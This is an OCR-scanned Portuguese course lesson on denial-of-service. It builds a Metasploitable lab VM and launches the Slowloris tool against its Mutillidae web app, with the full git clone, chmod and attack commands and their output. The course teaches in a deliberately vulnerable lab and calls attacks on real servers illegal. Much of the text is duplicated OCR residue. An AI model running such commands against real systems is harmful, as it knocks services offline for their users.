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& o
Como funciona o DOS

Transcricao

Anteriormente, acessamos algumas paginas web como vitima. Vamos relembrar o que acontece quando tentamos
acessar uma pagina? O computador envia uma requisi¢do para o servidor, que a processara. A seguir, mandard uma

resposta com acesso as paginas que o usudrio solicitou.

Hacker Servidor
Req

Res

Uma pessoa consegue falar com apenas um determinado nimero de pessoas ao mesmo tempo. O mesmo acontece com
o servidor. Ele conseguira se comunicar apenas com um certo nimero de usuarios ao mesmo tempo. Desta forma, o
hacker pode tentar consumir todas as conexdes disponiveis do servidor, para que, quando uma vitima tentar acessar

alguma pdagina via servidor, sua requisicdo no seja processada.

Hacker Servidor
Req

Res

Vitima Red

Todas as conexdes ja foram consumidas pelo hacker, o que impossibilita a vitima a acessar um servigo. Esse tipo de
ataque é chamado de Ataque de Negacéo de Servico, ou no inglés, Denial of Service, DoS. E é esse o tipo de ataque que

aprenderemos a realizar agora.

Nio podemos ficar realizando esses testes em servidores reais da internet, pois isso € ilegal. Por isso, usaremos o
VirtualBox para testar as vulnerabilidades que existem e se elas possibilitam o nosso ataque. J4 no programa,

selecionaremos o botdo Novo .
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Arquivo (F) Maquina  Ajuda (H)

N @ v @

Novo Configuraghes Descartar Exibir (h)

(2= Kali-Linux-2016.2-vbox-amd64

Na janela que se abrira, daremos o nome de Servidor anova maquina virtual que estamos criando. No campo Tipo

=» Executando

selecionaremos Linux , e no campo Versdo escolheremos Other Linux (64-bit) .

Criar Maquina Virtual

Nome e Sistema Operacional

Escolha um nome descritivo para a nova maquina virtual e selecione o tipo
de sistema operacional que vocé pretende instalar nela. O nome que vocé
escolher serd utilizado pelo VirtualBox para identificar esta méguina.

Nome: | | Servidor vg

Tipo: |Linux :

VersSo: | Other Linux (64-bit)

Modo Expert | [Préwmo 09 | | cancele

A seguir, devemos configurar a memoéria. Deixaremos em 512 MB .

€ Criar Maquina Virtual

Tamanho da memoria

Selecione a quantidade de memdria (RAM) em megabytes que serd
alocado para a maquina virtual.

O tamanho recomendado para memdria é de S12MB.
5 _ o si2 (&) e

4MB 16384 MB

(im0 ] | e

Em seguida, temos que decidir sobre o disco rigido virtual. O programa nos dd a opcéo de nio utilizar um com

maquina, de criar um novo disco para ela ou de utilizar um ja existente. Escolheremos a tltima opgéo, e, clicando na

pastinha, escolheremos o disco Metasploitable . Depois, basta clicar em cCriar .
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7 X |

€ Criar Maquina Virtual

Disco rigido

Se vocé quiser, pode acrescentar um disco rigido virtual a esta méquina
virtual. Vocé pode acrescentar um arquivo de disco rigido virtual na ksta
ou selecionar outro local utiizando o icone de pasta. |
Se vocé deseja uma configuracdo de armazenamento mais complexa,
pode pular este passo e fazer as mudangas manualmente na configuracdo
da maguina assim gue ela terminar de ser oiada,

Recomenda-se utiizar um disco rigido de 8,00 GB. f
(O Nao acrescentar um disco rigido virtual
() Criar um novo disco rigido virtual agora
(@ utilizar um disco rigido virtual existente ,

Metasploitable. vmdk (Normal, 8,00 GB) 3 l
[y ] [ et ] |

Agora é preciso colocar esse servidor na mesma rede do Kali Linux, e do meu computador. Para isso, clicaremos em

Configuragdes .

![Configuracoes](Ohttps://s3.amazonaws.com/caelum-online-
public/Seguran%C3%A7a_de_redes/Aula+3/Aula3.1_07_configuracoes.png (https://s3.amazonaws.com/caelum-online-
public/Seguran%C3%A7a_de_redes/Aula+3/Aula3.1_07_configuracoes.png)

Na aba Rede mexeremos nocampo Conectado a, alterando para Placa em modo Bridge . Depois, basta clicar em oK .

{2 Servidor - Configuragdes [} X
Geral Rede
—— Adaptador 1  Adaptador 2  Adaptador 3 Adaptador 4
Monitor [ Habiltar Placa de Rede
Armazenamento Conectado a: | Placa em modo Bridge -
Auds Nome:  Realtek PCle GBE Family Controller -
udio
B Avancado (D)

Rede

Portas Seriais

Use

Pastas Compartilhadas

Interface do Usuario

Bl YEEEM

Com tudo configurado, basta clicar Iniciar .

9 Oracle VM VirtualBox Gerenciador
Arquivo (F) Maquina Ajuda (H)

@ 8 ¢ B.

Nove Configwagbes Descartar  Iniar (T)
S Kali-Linux-2016.2-vbox-amd64

Servidor
Q (™ Desligada

https://cursos.alura.com.br/course/seguranca-redes/task/23470 3/10


https://s3.amazonaws.com/caelum-online-public/Seguran%C3%A7a_de_redes/Aula+3/Aula3.1_07_configuracoes.png

27/04/2020 Seguranca de redes: Aula 3 - Atividade 1 Como funciona o DOS | Alura - Cursos online de tecnologia

Em uma janela separada, o servidor se iniciard. Depois de seu boot, veremos:

i | Servidor [Executando] - Oracle VM VirtualBox
gquivo Maquina Visualizar Entrada

Ar Dispositivos  Ajuda
*» Starting deferred e

”

»

xecution scheduler atd

command scheduler
Starting Tomcat serwvlet

Starting web server
» Runming local boot script (setcsrc.local)
nohup: appending output to i nohup.out’

IIlIlI!IlI -l]lpl'lnl ing output to

Starting periodic crond

engine tomcats.5
apachel

nohup .out .

Jarning: Never expose this UH untrusted network?

ontact msfdevliat Imetasploit.com

Login with msfadmin/msfadmin to get

tarted

-.f_n,.|_|||i]|.||-|,|' login
& =F O = i (3 @ (2] right control

Para logar, completaremos o campo metasploitable login: da seguinte maneira:

metasploitable login: msfadmin

Ao darmos Enter , a senha sera pedida. Ela é igual ao login.

metasploitable login: msfadmin
password:

Seremos redirecionados para a parte de configuracdes do servidor. Podemos, entdo, ver qual o seu IP.

metasploitable login: msfadmin
password:

msfadmin@metasploitable:~$ ifconfig

Com esse comando, veremos:

msfadmin@metasploitable:~$ ifconfig

ethe Link encap:Ethernet HWaddr ©8:00:27:d9:16:b7

inet addr:192.168.121.117 Bcast:192.168.121.255

Mask:255.255.255.0
inet6 addr: fe80::20027ff:fed9:16b7/64 Scope:Link

Vemos que o IP desse servidor é 192.168.121.117 . Lembrando que em seu teste, sera outro nimero

O hacker, na maquina virtual Kali Linux, abrird o navegador e digitard o endereco IP do servidor.
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iﬂ Kali-Linux-2016.2-vbox-amdéd [Executando) - Oracle VM VirtualBox

Arquivo  Maquina Visualizar Entrada Ajuda

Dispositivos

Metasploitable2 - Linux - Mozilla Firefox
Metasploitable 2 - Linux x | &
- 192.168.121.117

5 Most Visited v [JljOffensive Security “§ Kali Linux “ Kali Docs " Kali Tools KBExploit-DB Wy Aircrack-ng

Warning: Never expose this VM to an untrusted network!
Contact: msfdevlat]metasploit.com

Login with msfadmin/msfadmin to get started

o TWiki

- T

« Mutillidae
« DVWA

» WebDAV

Seremos redirecionados para o nosso servidor web. Ha alguns links na parte de baixo, que nos redirecionam para

algumas paginas. Vamos ver o site da Multillidae.

m Kali-Linux-2016.2-vbox-amd64 [Executando] - Oracle VM VirtualBox

Arquive  Maquina Visualizar Entrada  Dispositivos  Ajuda
Applications «
Motzilla Firefox
§ http://192...mutillidae/ x | &
€ 192.168.121.117 i

1 Most Visited v JfJOffensive Security W Kali Linux "W Kali Docs "W Kali Tools KBExploit-DB W Aircrack-ng

®@%¢ Mutillidae: Born to be Hacked

Hints: Disabled (0 - | try harder)
Reset DB

Version: 2.1.19

Home
Core Controls 4
OWASP Top 10 4
Documentation 4

Security Level: 0 (Hosed)
Toggle Security

Not Logged

View Captured Data

Login/Register Toggle Hints View Log

Mutillidae: Deliberately Vulnerable PHP Scripts Of
OWASP Top 10

Latest Version / Installation

« Latest Version

«» Installation Instructions

« Usage Instructions

+ Getrid of those pesky PHP errors
« Change Log

+ Notes

Parece que esta tudo funcionando. Clicaremos em Core Controls > Login/Register para confirmar.
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F.I Kali-Linux-2016.2-vbox-amdé4 [Executando] - Oracle VM VirtualBox

Arguive  Maquina Visualizar Entrada  Dispositives  Ajuda

Mozilla Firefox
§ http://192... mutillidae/ x | &
€ 192.168.121.117 . &

5 Most Visited v  [JfJOffensive Security "\ Kali Linux "W Kali Docs " Kali Tools BExploit-DB W Aircrack-ng

®%¢ Mutillidae: Born to be Hacked

Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) Not Logged ||
Login/Register Toggle Hints Toggle Security Reset DB View Log View Captured Data

Version: 2.1.19

Core Controls

OWASP Top 10 Login/Register itillidae: Deliberately Vulnerable PHP Scripts Of
OWASP Top 10

the DB

Documentation :
Show Log

Resources Credits

« Installation Instructions
ﬁ « Usage Instructions
+ Get rid of those pesky PHP errors

| http://192...=login.php x | &
= 192.168.121.117 - e 9 3 #

5 Most Visited v [JlJOffensive Security “ Kali Linux "\ Kali Docs " Kali Tools EBExploit-DB Wy Aircrack-ng

* Mutillidae: Born to be Hacked

Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) Not Logged In

Home Login/Register Toggle Security Reset DB View Log View Captured Data

: oL
[ohes | L) Back

|

Please sign-in

Toggle Hints

Password

P

Dont have an account? Please register here

Site
hacked...err...aualitv-

Como hackers, ndo gostamos muito da Multillidae, e nossa intengdo é tornar o site dessa empresa indisponivel e seu
servigo intermitente, deixando os usuarios insatisfeitos. Assim, a Multillidae deixara de fazer vendas e perdera clientes,

e é de nosso interesse que isso acontega.

Para essa finalidade, usaremos uma ferramenta que se chama Slowloris. Ela estd disponivel no GithHub

(https://github.com/llaera/slowloris.pl). Usaremos a opcdo Clone with HTTPS . Se quiser saber mais sobre o assunto,
temos o curso de GitHub (https://cursos.alura.com.br/course/git) da plataforma da Alura.
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O Features Explore Pricing This repository Sign in or Sign up
llaera / slowloris.pl @Watch | 15 #Star 99 | YFork 91
<> Code Issues 2 Pull requests 0 Projects 0 Pulse Graphs

A new DOS Perl Programm  http://laeraloris.no-ip.org

0 5 commits ¥ 1 branch > 0 releases 21 1 contributor
Branch: master = New pull request Find file Clone or download ~
I8 l1aera Update README Clone with HTTPS @
Use Git or checkout with SWN using the web URL.
E| README Update README
ittps://github.com/1laera/slowloris.pl.git| @.
E| slowloris.pl Create slowloris.pl
README Open in Desktop Download ZIP

Devemos entdo abrir o terminal e usar o comando git clone :

root@kali:~# git clone https://github.com/1llaera/slowloris.pl.git
Cloning into ‘'slowloris.pl'...

remote: Counting objects: 15, done.

remote: Total 15 (delta @), reused © (delta ©), pack-reused 15
Unpacking objects: 100% (15/15), done.

Checking connectivity... done.

Agora a ferramenta esta disponivel na pasta slowloris.pl . Portanto, vamos abri-la.

root@kali:~# git clone https://github.com/1llaera/slowloris.pl.git
Cloning into ‘slowloris.pl'...

remote: Counting objects: 15, done.

remote: Total 15 (delta @), reused @ (delta @), pack-reused 15
Unpacking objects: 100% (15/15), done.

Checking connectivity... done.

@root@kali:~# cd slowloris.pl/

Daremos um 1s para verificar seu contetido.

root@kali:~# git clone https://github.com/1llaera/slowloris.pl.git
Cloning into ‘'slowloris.pl'...

remote: Counting objects: 15, done.

remote: Total 15 (delta @), reused © (delta ©), pack-reused 15
Unpacking objects: 100% (15/15), done.

Checking connectivity... done.

@root@kali:~# cd slowloris.pl/

@root@kali:~/slowloris.pl# 1s

README slowloris.pl

Para podermos executar, precisamos alterar a permissao. Assim, usaremos chmod + x slowloris.pl .
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root@kali:~# git clone https://github.com/1llaera/slowloris.pl.git
Cloning into 'slowloris.pl'...

remote: Counting objects: 15, done.

remote: Total 15 (delta ©), reused © (delta @), pack-reused 15
Unpacking objects: 100% (15/15), done.

Checking connectivity... done.

@root@kali:~# cd slowloris.pl/

@root@kali:~/slowloris.pl# 1s

README slowloris.pl

@root@kali:~/slowloris.pl# chmod + x slowloris.pl

Com isso, devemos conseguir executar o Slowloris. Tentaremos um 1s novamente:

I Kali-Linux-2016.2-vbox-amd64 [Executando] - Oracle VM VirtualBox

Arquive  Maéquina Visualizar  Entrada ivos  Ajuda

root@kali: ~/slowloris.pl

File Edit View Search Terminal Help

# git clone https://github.com/llaera/slowloris.pl.git
Cloning into 'slowloris.pl'...
remote: Counting objects: 15, done.
remote: Total 15 (delta 0), reused 0 (delta 0), pack-reused 15
Unpacking objects: 100% (15/15), done.
Checking connectivity... done.

# cd slowloris.pl/

:~/slowloris.pl# 1s

README slowloris.pl
:~/slowloris.pl# chmod +x slowloris.pl
:~/slowloris.pl# 1s

README slowloris.pl

slowloras

Note que dessa vez a linha README slowloris.pl aparece em verde. Isso significa que temos permissido para executa-la.

Portanto, o faremos usando ./slowloris.pl .

root@kali:~# git clone https://github.com/1laera/slowloris.pl.git
Cloning into ‘'slowloris.pl'...

remote: Counting objects: 15, done.

remote: Total 15 (delta @), reused © (delta @), pack-reused 15
Unpacking objects: 100% (15/15), done.

Checking connectivity... done.

@root@kali:~# cd slowloris.pl/

@root@kali:~/slowloris.pl# 1ls

README slowloris.pl

@root@kali:~/slowloris.pl# chmod + x slowloris.pl
@root@kali:~/slowloris.pl# 1s

README slowloris.pl

@root@kali:~/slowloris.pl# ./slowloris.pl

Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client by Laera Loris
Usage:

perl ./slowloris.pl -dns [www.example.com] -options

Type 'perldoc ./slowloris.pl' for help with options.
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Alinha perl ./slowloris.pl -dns [www.example.com] -options nos mostra a sintaxe para usar o programa. Vamos
segui-la, mas em vez de usar a URL do site, usaremos o IP do servidor. Pediremos para que ele tente abrir essas

conexdes a cada um segundo, e para isso precisaremos colocar -timeout 1 no lugar de options .

root@kali:~# git clone https://github.com/1laera/slowloris.pl.git
Cloning into ‘slowloris.pl'...

remote: Counting objects: 15, done.

remote: Total 15 (delta @), reused © (delta @), pack-reused 15
Unpacking objects: 100% (15/15), done.

Checking connectivity... done.

@root@kali:~# cd slowloris.pl/

@root@kali:~/slowloris.pl# 1s

README slowloris.pl

@root@kali:~/slowloris.pl# chmod + x slowloris.pl
@root@kali:~/slowloris.pl# 1s

README slowloris.pl

@root@kali:~/slowloris.pl# ./slowloris.pl

Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client by Laera Loris
Usage:

perl ./slowloris.pl -dns [www.example.com] -options
Type 'perldoc ./slowloris.pl' for help with options.

@root@kali:~/slowloris.pl# perl ./slowloris.pl -dns 192.168.121.117 -timeout 1

Quando apertarmos Enter , espera-se que abra-se uma série de conexdes o computador e o servidor por meio do

slowloris. O que veremos € o seguinte:

Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client by Laera Loris
Usage:

perl ./slowloris.pl -dns [www.example.com] -options
Type 'perldoc ./slowloris.pl' for help with options.

@root@kali:~/slowloris.pl# perl ./slowloris.pl -dns 192.168.121.117 -timeout 1

Defaulting to 1000 connections.
Multithreading enabled.
Connecting to 192.168.177:80 every 1 seconds with 1000 sockets:
Building sockets.
Building sockets.
Building sockets.
Sending data.
Current stats: Slowloris has now sent 302 packets successfully.
This thread now sleeping for 1 seconds...

Sending data.
Current stats: Slowloris has now sent 616 packets successfully.
This thread now sleeping for 1 seconds...

Building sockets.

Building sockets.
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Building
Building
Building
Building
Building
Building
Building
Building
Building
Building

O programa comecou a construir varias sockets, e a enviar varios pacotes. Espera-se que os recursos do servidor da

sockets.
sockets.
sockets.
sockets.
sockets.
sockets.
sockets.
sockets.
sockets.
sockets.

Multillidae ja estejam comprometidos.

Vamos fazer o teste como a vitima faria, na minha maquina fisica. Abriremos o site da Multillidae pelo navegador,

usando o endereco IP.

(" Nova guia

x

X | @ 192.168.121.117/mutillidae

e .
222 Apps Para acessar rapidamente, coloque os seus favoritos aqui na barra de favoritos. Importar favoritos agora...

O navegador passa muito tempo indicando o carregamento da pagina. Vocé acha que o cliente vai deixar a compra na

Multillidae para outra loja? Ou que ele vai comprar no site do concorrente?

™ 192.168.121.117 x

= X | ® 192.168.121.117/mutillidae

Com esse aviso, vemos que o hacker conseguiu consumir as conexdes de maneira a derrubar o site.

=]

Nao e possivel acessar esse site
192.168.121.117 demorou muito para responder.

Pesquise mutillidae no Google
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